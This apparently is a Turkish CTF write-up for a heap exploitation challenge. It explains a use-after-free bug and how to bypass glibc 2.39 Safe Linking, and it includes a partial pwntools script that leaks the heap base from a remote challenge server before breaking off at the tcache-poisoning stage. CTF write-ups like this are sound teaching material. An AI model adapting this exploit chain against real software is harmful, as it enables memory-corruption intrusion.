STM CTF 2026: 'HeapMaster' 500 Puanlık Pwn Sorusunun Çözümü
1. İkili Dosya İncelemesi ve Checksec
Soru bize dinamik olarak linklenmiş bir 64-bit ELF ikili dosyası ve hedef sunucuda çalışan glibc 2.39 kütüphanesini sağlamaktadır. `checksec` çalıştırdığımızda tüm modern korumaların (Full RELRO, Canary, NX, PIE) aktif olduğunu görüyoruz. Bu nedenle heap üzerinden bilgi sızdırmadan (leak) ve pointer mangling mekanizmasını çözmeden doğrudan kod çalıştırma mümkün değildir.
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./libs'
SHSTK: Enabled (Intel CET)2. Zafiyet Analizi: Use-After-Free (UAF)
İkili dosyadaki `delete_note()` fonksiyonu incelendiğinde, bellek serbest bırakıldıktan (free) sonra işaretçi (pointer) NULL yapılmamaktadır. Bu durum 'Dangling Pointer' yaratarak Use-After-Free ve Double-Free senaryolarına kapı aralamaktadır.
3. Safe Linking Baypası ve Glibc 2.39 Exploit Zinciri
glibc 2.32 ile tanıtılan Safe Linking, tcache/fastbin linked-list işaretçilerini `L = (P >> 12) ^ Target` şeklinde şifreler. İlk chunk boşaltıldığında target 0 olduğu için chunk'ın içinde doğrudan `(P >> 12)` adresi kalır. `show_note()` ile bu değeri okuyarak heap base adresini doğrudan elde ediyoruz!
from pwn import *
p = remote('ctf.ulusiber.org', 31337)
libc = ELF('./libc.so.6')
def alloc(idx, size, data):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'idx: ', str(idx).encode())
p.sendlineafter(b'size: ', str(size).encode())
p.sendafter(b'data: ', data)
def free(idx):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'idx: ', str(idx).encode())
# 1. Heap Leak (Safe Linking Mangling Key)
alloc(0, 0x80, b'AAAA')
alloc(1, 0x80, b'BBBB')
free(0)
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'idx: ', b'0')
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
heap_base = leak << 12
log.success(f"Leak: {hex(leak)} -> Heap Base: {hex(heap_base)}")
# 2. tcache Poisoning & Arbitrary Write
# ...Önemli Çıkarımlar ve Savunma Tavsiyeleri
- [1]Modern glibc sürümlerinde Safe Linking pointer mangling heap leak ile doğrudan bertaraf edilebilir.
- [2]UAF zafiyetlerinde free() çağrısının ardından işaretçinin derhal NULL atanması zafiyeti kökten çözer.
- [3]CTF pwn sorularında glibc sürümünün tam hash'ini ve sembollerini eşleştirmek kritik öneme sahiptir.